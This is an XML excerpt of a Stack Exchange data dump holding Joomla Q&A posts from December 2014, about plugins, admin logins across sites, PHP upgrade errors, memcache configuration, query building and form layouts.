  <row Id="5792" PostTypeId="2" ParentId="5791" CreationDate="2014-12-24T18:38:00.007" Score="2" Body="&lt;p&gt;A &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_content_plugin&quot; rel=&quot;nofollow&quot;&gt;Content Plugin&lt;/a&gt; can accomplish this.  To prevent F/E editing for articles this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentBeforeDisplay($context, &amp;amp;$article, $params, $page=0) {&#xA;    if( $context == 'com_content.article' ) {&#xA;        $article-&amp;gt;params-&amp;gt;set('access-edit',0);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-12-24T18:52:30.970" LastActivityDate="2014-12-24T18:52:30.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5793" PostTypeId="1" CreationDate="2014-12-24T23:01:19.397" Score="0" ViewCount="1229" Body="&lt;p&gt;I tried to display some articles in the latest article news module but they only show up if they are uncategorized, if I putt them in a category the they don't show up. How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="3396" LastActivityDate="2015-03-26T08:39:49.783" Title="Latest News not showing articles in categories?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5794" PostTypeId="1" CreationDate="2014-12-24T23:23:02.053" Score="1" ViewCount="85" Body="&lt;p&gt;I need to find a solution for joomla backend administrator login to make easier for multiple site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let`s say i have a dozen of Joomla sites and their administrator account is XYZ and the password is 123.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i want to change password for XYZ administrator account; I need to do this manually for all my Joomla sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I look for solutions to make this process automated or make it easier. &#xA;I guess LDAP could be a good solution but I never tried that one, also I do not have AD server right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would Open ID help me to achieve my goal or do you have any other ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions much appreciated. Thank You already.&lt;/p&gt;&#xA;" OwnerUserId="3408" LastActivityDate="2015-01-24T23:06:58.077" Title="How to use 1 administrator account for multiple sites?" Tags="|administrator|user|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5797" PostTypeId="1" CreationDate="2014-12-25T11:39:19.323" Score="1" ViewCount="7676" Body="&lt;p&gt;I am using Joomla 3.3.6 site on VPS, yesterday my hosting provider upgraded from PHP 5.3.29 to PHP 5.4 and now i am getting following errors on my live site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We asked them to revert back to php 5.3.29 but still having same issue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Strict Standards: Only variables should be assigned by reference in /home/livemedi/public_html/modules/mod_media_media/helper.php on line 29&#xA;&#xA;Strict Standards: Only variables should be assigned by reference in /home/livemedi/public_html/modules/mod_media_media/helper.php on line 68&#xA;&#xA;Strict Standards: Declaration of hwdMediaShareModelCategories::populateState() should be compatible with JModelList::populateState($ordering = NULL, $direction = NULL) in /home/livemedi/public_html/components/com_hwdmediashare/models/categories.php on line 214&#xA;&#xA;Strict Standards: Non-static method hwdMediaShareCategory::get() should not be called statically, assuming $this from incompatible context in /home/livemedi/public_html/components/com_hwdmediashare/models/media.php on line 85&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would appreciate if someone can help me in this regard.&lt;/p&gt;&#xA;" OwnerUserId="1863" LastEditorUserId="1629" LastEditDate="2014-12-25T15:50:39.960" LastActivityDate="2016-09-25T18:28:30.027" Title="Strict Standards error after PHP upgrade" Tags="|php|joomla-3.3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5798" PostTypeId="2" ParentId="5797" CreationDate="2014-12-25T12:35:24.907" Score="4" Body="&lt;p&gt;&lt;strong&gt;Quick solution&lt;/strong&gt;: Turn off error messages. Just go to &quot;Global Configuration&quot; in your backend, switch to the server tab and set the error reporting to none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Better solution:&lt;/strong&gt;&#xA;It's better to fix the issues than just to hide them.&#xA;These are some small issues in 2 extensions that you use (mod_media_media and com_hwdmediashare). You could look for updates for these extensions (prefered option) or fix the issues by yourself. For the latter you would need some PHP knowledge and your changes to the files might be overwritten with the next update of these extensions. &lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2014-12-25T12:40:36.423" LastActivityDate="2014-12-25T12:40:36.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5799" PostTypeId="1" AcceptedAnswerId="5800" CreationDate="2014-12-25T13:18:09.133" Score="1" ViewCount="1924" Body="&lt;p&gt;What is pros and cons of following code in configuration.php file?  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $memcache_persist = '1';&#xA;public $memcache_compress = '0';&#xA;public $memcache_server_host = 'localhost';&#xA;public $memcache_server_port = 'xxxx';&#xA;public $memcached_persist = '1';&#xA;public $memcached_compress = '0';&#xA;public $memcached_server_host = 'localhost';&#xA;public $memcached_server_port = 'xxxx';&#xA;public $session_memcache_server_host = 'localhost';&#xA;public $session_memcache_server_port = 'xxxx';&#xA;public $session_memcached_server_host = 'localhost';&#xA;public $session_memcached_server_port = 'xxxx';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also have cache plugin enabled and as well as from global configuration.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $caching = '1';&#xA;public $cache_handler = 'file';&#xA;public $cachetime = '720';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am confused my hosting provider changed configuration file after switching to new server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just noticed and found memcache code in config file. What to do? &lt;/p&gt;&#xA;" OwnerUserId="1863" LastActivityDate="2014-12-25T16:20:21.280" Title="Benefits of Memcache?" Tags="|joomla-3.3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5800" PostTypeId="2" ParentId="5799" CreationDate="2014-12-25T16:20:21.280" Score="1" Body="&lt;p&gt;Joomla has built-in support for Memcached. Memcached can be activated by editing your &lt;code&gt;configuration.php&lt;/code&gt; file, or from cPanel on certain hosting companies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two variants of Memcached can be enabled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;memcached&lt;/strong&gt;&lt;br&gt;&#xA;Uses the Memcached server to store sessions in RAM. Requires the memcached PHP extension. The server is configured like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $memcache_persist = '0';&#xA;public $memcache_compress = '0';&#xA;public $memcache_server_host = '127.0.0.1';&#xA;public $memcache_server_port = '11211';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;memcache&lt;/strong&gt;&lt;br&gt;&#xA;Uses the Memcached server to store sessions in RAM. Requires the memcache PHP extension. Using this extension is not recommended, 'memcached' is better. The memcached server configuration for Joomla 2.5+ is identical to the 'memcached' option above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&lt;br&gt;&#xA;It looks like both these options are enabled in your &lt;code&gt;configuration.php&lt;/code&gt; file (both &lt;strong&gt;memchached&lt;/strong&gt; and &lt;strong&gt;memcache&lt;/strong&gt;). If you changed hosting company recently, it is possible the the new hosting company added one of the options without removing the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't sound like a good idea to enable both, I would suggest removing &lt;strong&gt;memcache&lt;/strong&gt; and see if that affects anything. But please correct me if I'm wrong (if it's OK to use both).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more on Memcached here: &lt;a href=&quot;http://www.memcached.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.memcached.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-25T16:20:21.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5801" PostTypeId="1" CreationDate="2014-12-25T17:36:23.250" Score="2" ViewCount="54" Body="&lt;p&gt;Recently I moved my Joomla 3.3.6 site on VPS from shared hosting. Following are VPS configurations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vendor: GenuineIntel&#xA;Name: Intel(R) Xeon(R) CPU L5420 @ 2.50GHz&#xA;Speed: 2500.090 MHz&#xA;Cache: 6144 KB&#xA;1024 MB RAM&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our daily pageviews are Aprx 11k. Now having couple of issues:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Gtmetrix score has been reduced on VPS&lt;/li&gt;&#xA;&lt;li&gt;Sometime site wont open normally (takes time to load)&lt;/li&gt;&#xA;&lt;li&gt;VPS Ram is always 30% +&lt;/li&gt;&#xA;&lt;li&gt;CPU is aprx 3% and suddenly it shoot to aprx 20% (and then site dont load)&lt;/li&gt;&#xA;&lt;li&gt;It takes time to open Clear Cache from menu. (Joomla cache is enabled from global configuration as well as cache plugin). So I renamed cache folder and created new cache folder and clear cache loading issue was resolved, but admintools is not working perfectly, specially fix permission shows empty pop up, then i revert to old cache folder and admin tools fix permission worked fine but when i click on clear cache from Joomla back end menu it takes too much time and this remained same. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Although site was working perfectly on shared hosting but i had bandwidth issue so moved on VPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.3.6&#xA;K2 - updated&#xA;bigshoot plugin - latest&#xA;hwdmediashare - latest&#xA;Xmap - latest&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate if someone can assist, I believe something is wrong with vps, because i never ever had a single issue on shared hosting and gtmetrix score was good than now, and i did not make any changes in joomla on VPS. &lt;/p&gt;&#xA;" OwnerUserId="1863" LastActivityDate="2014-12-25T20:15:36.403" Title="Strange Joomla Issues on VPS" Tags="|joomla-3.3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5802" PostTypeId="1" AcceptedAnswerId="10348" CreationDate="2014-12-25T20:02:43.103" Score="4" ViewCount="80" Body="&lt;p&gt;I recently tested a new template for a site (University by Shape5). I tried to get a quick preview before setting the template as default by adding &lt;code&gt;?template=university&lt;/code&gt; to the url. But the template was not rendered correctly (no main menu, text-width 100%, no footer etc.). It was not until I assigned the template as default that it was rendered propperly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: Is there any difference between how Joomla renders a template when using &lt;code&gt;?template=myTemplate&lt;/code&gt;, as opposed to assigning the template to a menu item (or as default template)?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-06-09T14:35:39.770" Title="Assigned template vs ?template=myTemplate" Tags="|joomla-3.x|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5803" PostTypeId="2" ParentId="5801" CreationDate="2014-12-25T20:15:36.403" Score="1" Body="&lt;p&gt;If your CPU is having 20% peaks, and the site does not load, something is going on. For instance, cache expires and a &lt;em&gt;mega-sql-query&lt;/em&gt; consumes all available resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can start deactivating your biggest content, looking for the source of the overhead. Try to explore the issue in a development site. In this way, you can parts of the site without affecting the live service.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-12-25T20:15:36.403" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5804" PostTypeId="2" ParentId="5794" CreationDate="2014-12-25T22:59:44.260" Score="2" Body="&lt;p&gt;I think what you need is your own &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_an_Authentication_Plugin_for_Joomla&quot; rel=&quot;nofollow&quot;&gt;Authentication Plugin&lt;/a&gt;.  The example given shows authentication being done against the user table, but you could just as easily check if the password is equal to todays date - whatever, or &lt;em&gt;wherever&lt;/em&gt;, you want to check.  Once you have it working to your liking, just install and enable it on all your sites.  Having both enabled, you'll probably want the standard user authentication first, then if it fails, it goes on to try yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you want to make one of your sites the &quot;master&quot;, you could use this code in the plugin to always check THAT database for your master credentials:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = array(&#xA;    'driver' =&amp;gt; 'mysqli',&#xA;    'host' =&amp;gt; 'localhost',&#xA;    'user' =&amp;gt; 'mymasterusername',&#xA;    'password' =&amp;gt; 'mymasterpassword',&#xA;    'database' =&amp;gt; 'mymaindatabase',&#xA;    'prefix' =&amp;gt; 'xyz_',&#xA;);&#xA;$maindb = JDatabase::getInstance($options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-12-25T22:59:44.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5806" PostTypeId="2" ParentId="5793" CreationDate="2014-12-26T00:08:47.417" Score="1" Body="&lt;p&gt;Solved it. Global Configuration -&gt; Articles -&gt; Shared Options. Set the Category Order to: No Order.&lt;/p&gt;&#xA;" OwnerUserId="3396" LastActivityDate="2014-12-26T00:08:47.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5807" PostTypeId="2" ParentId="5729" CreationDate="2014-12-26T01:38:04.663" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/rereplacer&quot; rel=&quot;nofollow&quot;&gt;Regular Labs ReReplacer&lt;/a&gt; or &lt;a href=&quot;http://extensions.joomla.org/extension/db-replacer&quot; rel=&quot;nofollow&quot;&gt;Regular Labs DB Replacer&lt;/a&gt; can probably help with this by replacing instances of &lt;code&gt;&amp;lt;a href&lt;/code&gt; with &lt;code&gt;&amp;lt;a target=&quot;_blank&quot; href&lt;/code&gt; or similar.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-06-24T10:50:01.063" LastActivityDate="2016-06-24T10:50:01.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5808" PostTypeId="1" CreationDate="2014-12-26T03:59:17.210" Score="0" ViewCount="3494" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nUQHQ.png&quot; alt=&quot;Joomla System Information&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why isn't my PHP version updated, although I updated to the latest Joomla 3.3.6?&lt;/p&gt;&#xA;" OwnerUserId="3410" LastEditorUserId="1629" LastEditDate="2014-12-26T14:45:57.743" LastActivityDate="2016-12-29T13:12:30.460" Title="PHP version not updated when installing Joomla 3.3.6" Tags="|php|joomla-3.3.x|update|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5809" PostTypeId="2" ParentId="5808" CreationDate="2014-12-26T04:44:24.860" Score="2" Body="&lt;p&gt;Make sure what is the php version installed at your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you have installed it still changes are not getting reflected then restart your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla does not install any other resources like php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to install it.&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2014-12-26T04:44:24.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5810" PostTypeId="1" AcceptedAnswerId="5827" CreationDate="2014-12-26T06:46:49.097" Score="4" ViewCount="164" Body="&lt;p&gt;I've created a Joomla 3 template. When I install the template, I'd like to have the template images automatically install into the &lt;code&gt;joomlaroot/images&lt;/code&gt; location.&#xA;The reason I'd like to do this is because several templates will share the same images. I know I can manually put the images in whatever folder I like, but I'd prefer to have it done automatically when I install the template.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it possible to have a templates images automatically install to&#xA;the joomlaroot/images directory? If yes, how can I do it?&lt;/li&gt;&#xA;&lt;li&gt;If no, are there any alternative ways of achieving the same thing?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-12-27T23:21:36.793" Title="How to get a Joomla3 template to install the images in a different location-specifically joomlaroot/images?" Tags="|joomla-3.x|templates|images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5812" PostTypeId="2" ParentId="5808" CreationDate="2014-12-26T09:28:42.003" Score="6" Body="&lt;p&gt;Joomla is not shipped with PHP, therefore if you update Joomla, it will not update your PHP version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP is a server side language and must be upgraded my either yourself or your host. Only some hosts (if you're on a shared hosting package) allow you to select a different PHP version. The reason being is that on some shared hosting packages, the same PHP package is used for all users on the same server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check your options on your hosting admin control panel, else you will need to contact your hosting provider and ask them to upgrade it for you&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-12-26T09:28:42.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5813" PostTypeId="1" AcceptedAnswerId="5814" CreationDate="2014-12-26T10:40:23.963" Score="2" ViewCount="1364" Body="&lt;pre&gt;&lt;code&gt;&quot;SELECT *, ((ACOS(SIN($lat * PI() / 180) * SIN(latitude * PI() / 180) + COS(78 * PI() / 180) * COS(latitude * PI() / 180) * COS((87 - longitude) * PI() / 180)) * 180 / PI()) * 60 * 1.1515) AS distance &quot;&#xA;            . &quot;FROM `#__content` AS `b` &quot;&#xA;            . &quot;RIGHT JOIN `#__jreviews_content` AS `a` ON (`a`.`contentid` = `b`.`id`) &quot;&#xA;            . &quot;LEFT JOIN `#__categories` AS `c` ON (`b`.`catid` = `c`.`id`) &quot;&#xA;            . &quot;LEFT JOIN `#__jreviews_media` AS `m` ON (`m`.`listing_id` = `b`.`id` AND `m`.`main_media` = 1 AND `m`.`media_type` = 'photo') &quot;&#xA;            . &quot;WHERE 1 = 1 AND (`c`.`title`  LIKE '%Stores%' OR `c`.`title`  LIKE '%Dining%' OR `c`.`title`  LIKE '%Events%') AND `a`.`jr_latitude`&amp;lt;&amp;gt; 0.0000000 AND `c`.`title`&amp;lt;&amp;gt; 'Archives' &quot;&#xA;            . &quot;HAVING distance&amp;lt;='50' &quot;&#xA;            . &quot;ORDER BY distance ASC&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I managed to write the query with &lt;code&gt;Query Object&lt;/code&gt; without &lt;code&gt;HAVING&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select(array('*', '((ACOS(SIN($lat * PI() / 180) * SIN(latitude * PI() / 180) + COS(78 * PI() / 180) * COS(latitude * PI() / 180) * COS((87 - longitude) * PI() / 180)) * 180 / PI()) * 60 * 1.1515) AS distance'))&#xA;                -&amp;gt;from($content)&#xA;                -&amp;gt;join('RIGHT', $jreviews_content . ' ON (' . $db-&amp;gt;quoteName('a.contentid') . ' = ' . $db-&amp;gt;quoteName('b.id') . ')')&#xA;                -&amp;gt;join('LEFT', $categories . ' ON (' . $db-&amp;gt;quoteName('b.catid') . ' = ' . $db-&amp;gt;quoteName('c.id') . ')')&#xA;                -&amp;gt;join('LEFT', $media . ' ON (' . $db-&amp;gt;quoteName('m.listing_id') . ' = ' . $db-&amp;gt;quoteName('b.id') . ' AND ' . $db-&amp;gt;quoteName('m.main_media') . ' = 1 AND ' . $db-&amp;gt;quoteName('m.media_type') . ' = &quot;photo&quot;)')&#xA;                -&amp;gt;where($conditions);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please anyone help me to write the &lt;code&gt;HAVING&lt;/code&gt; in this &lt;code&gt;Query Object&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2174" LastActivityDate="2019-03-05T12:08:40.090" Title="Joomla 2.5, how to use &quot;HAVING&quot; using Query Object" Tags="|joomla-2.5|database|mysql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5814" PostTypeId="2" ParentId="5813" CreationDate="2014-12-26T11:43:28.253" Score="4" Body="&lt;p&gt;If you are using &lt;code&gt;having&lt;/code&gt; clause without group_by then it will act just like where clause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JDatabaseQuery class provides method for having clause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;having('distance &amp;lt;=50');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="396" LastActivityDate="2014-12-26T11:43:28.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5815" PostTypeId="1" AcceptedAnswerId="5818" CreationDate="2014-12-26T13:17:14.853" Score="2" ViewCount="359" Body="&lt;p&gt;I had already created some custom components  in the past and how it is, at the beginning you cannot understand all things in detail. But with continuing always new question arise. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone explains when to use edit.php in Joomla layout views and when to use default.php instead? What is the difference?&lt;/p&gt;&#xA;" OwnerUserId="463" LastActivityDate="2014-12-26T15:50:50.040" Title="Joomla layout difference edit.php and default.php" Tags="|joomla-3.x|view|layout|default|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5817" PostTypeId="2" ParentId="5808" CreationDate="2014-12-26T15:11:13.150" Score="7" Body="&lt;p&gt;As others pointed out, Joomla does not install &lt;a href=&quot;http://php.net&quot; rel=&quot;noreferrer&quot;&gt;PHP&lt;/a&gt;. Upgrading or installing Joomla will not change your PHP version. PHP is usually installed and updated by your hosting company (or by yourself if you manager your own server).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.3.6 &lt;em&gt;&lt;a href=&quot;http://www.joomla.org/technical-requirements.html&quot; rel=&quot;noreferrer&quot;&gt;requires&lt;/a&gt;&lt;/em&gt; PHP 5.3.10 or above (5.4 + recommended). According to your screenshot you're using &lt;strong&gt;PHP 5.4.32&lt;/strong&gt;, so you should be fine. If you want to use a more recent version, you should contact your hosting company. You might be able to switch to PHP 5.5 by changing a setting in your control panel, or by adding a single line of code to your &lt;code&gt;.htaccess&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process depends on your hosting company, but look for &quot;PHP Version Manager&quot; or &quot;PHP Configuration&quot; in your cPanel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fTwAi.jpg&quot; alt=&quot;PHP Configuration&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select your desired PHP version. Make sure all your Joomla extensions are compatible with the version you choose. Some hosts allow you to choose to always use the most recent PHP version, but this might not be a good idea as your site might break when PHP is updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RZrQV.jpg&quot; alt=&quot;PHP Version configuration&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-26T15:11:13.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5818" PostTypeId="2" ParentId="5815" CreationDate="2014-12-26T15:50:50.040" Score="2" Body="&lt;p&gt;If you follow the standard conventions, &lt;code&gt;edit.php&lt;/code&gt; will be used for the form layout that allows you to edit an item, and &lt;code&gt;default.php&lt;/code&gt; will be used for viewing an item as well as viewing a list of items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically in Joomla, you will see two types of view folders: singular and plural. The plural version (let's call it &quot;articles&quot;), will just have a &lt;code&gt;default.php&lt;/code&gt; file that will render a list of articles. The singular version (&quot;article&quot; this time), may have both the &lt;code&gt;default.php&lt;/code&gt; and &lt;code&gt;edit.php&lt;/code&gt; or could just have &lt;code&gt;edit.php&lt;/code&gt;. (Sometimes the default isn't implemented.) If both exist, the &lt;code&gt;default.php&lt;/code&gt; file would render the article information to be viewed but not edited. The &lt;code&gt;edit.php&lt;/code&gt; file would render the form allowing you to edit the article.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-12-26T15:50:50.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5819" PostTypeId="1" AcceptedAnswerId="7473" CreationDate="2014-12-26T16:11:30.967" Score="1" ViewCount="3076" Body="&lt;p&gt;I am facing a problem with my cancel button in my default.php, which is a form with some input fields aswell a save and cancel button. There are some required fields in my form. When I use the cancel button, the form validation will be activated and informs me to fill out these fields.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be a result of using the default.php layout?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;05022015 - UPDATE&lt;/strong&gt;&lt;br&gt;&#xA;The form is a front-end form and the cancel button has been done via Joomla custom JToolBar&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;06022015&lt;/strong&gt; - Add reduced code of layout&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;JHtml::_('behavior.formvalidation');&#xA;JHtml::_('behavior.keepalive');&#xA;JHtml::_('formbehavior.chosen', 'select');&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        Joomla.submitbutton = function(task)&#xA;    {&#xA;                if (task == 'contact.cancel' || document.formvalidator.isValid(document.getElementById('contact-form')))&#xA;        {&#xA;                        alert (task);&#xA;                        Joomla.submitform(task, document.getElementById('contact-form'));&#xA;        } else {&#xA;                if (task != 'contact.cancel' &amp;amp;&amp;amp; document.formvalidator.isValid(document.id('contact-form'))) {&#xA;                        Joomla.submitform(task, document.getElementById('contact-form'));&#xA;                } else {&#xA;                    alert('&amp;lt;?php echo $this-&amp;gt;escape(JText::_('JGLOBAL_VALIDATION_FORM_FAILED')); ?&amp;gt;');&#xA;                }&#xA;            }&#xA;    }               &#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_ecms&amp;amp;view=contact&amp;amp;id=' . (int) $this-&amp;gt;form-&amp;gt;getInput('id')); ?&amp;gt;&quot; method=&quot;post&quot; name=&quot;contactForm&quot; id=&quot;contact-form&quot; class=&quot;form-validate&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;        &amp;lt;fieldset class=&quot;form-horizontal&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;control-label&quot;&amp;gt; &#xA;                                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('id'); ?&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('id'); ?&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;control-label&quot;&amp;gt; &#xA;                                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('surname'); ?&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('surname'); ?&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;                &amp;lt;div id=&quot;toolbar-cancel&quot; class=&quot;btn-wrapper&quot;&amp;gt;&#xA;                    &amp;lt;button class=&quot;btn btn-small&quot; onclick=&quot;Joomla.submitbutton('contact.cancel')&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;icon-cancel&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;?php echo JText::_('JCANCEL') ?&amp;gt;&#xA;                    &amp;lt;/button&amp;gt;&#xA;                &amp;lt;/div&amp;gt;            &#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="463" LastEditorUserId="126" LastEditDate="2016-01-21T23:58:36.313" LastActivityDate="2016-01-21T23:58:36.313" Title="Cancel Button in custom default.php layout leads to form validation error" Tags="|joomla-3.x|fix-my-code|form|validations|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
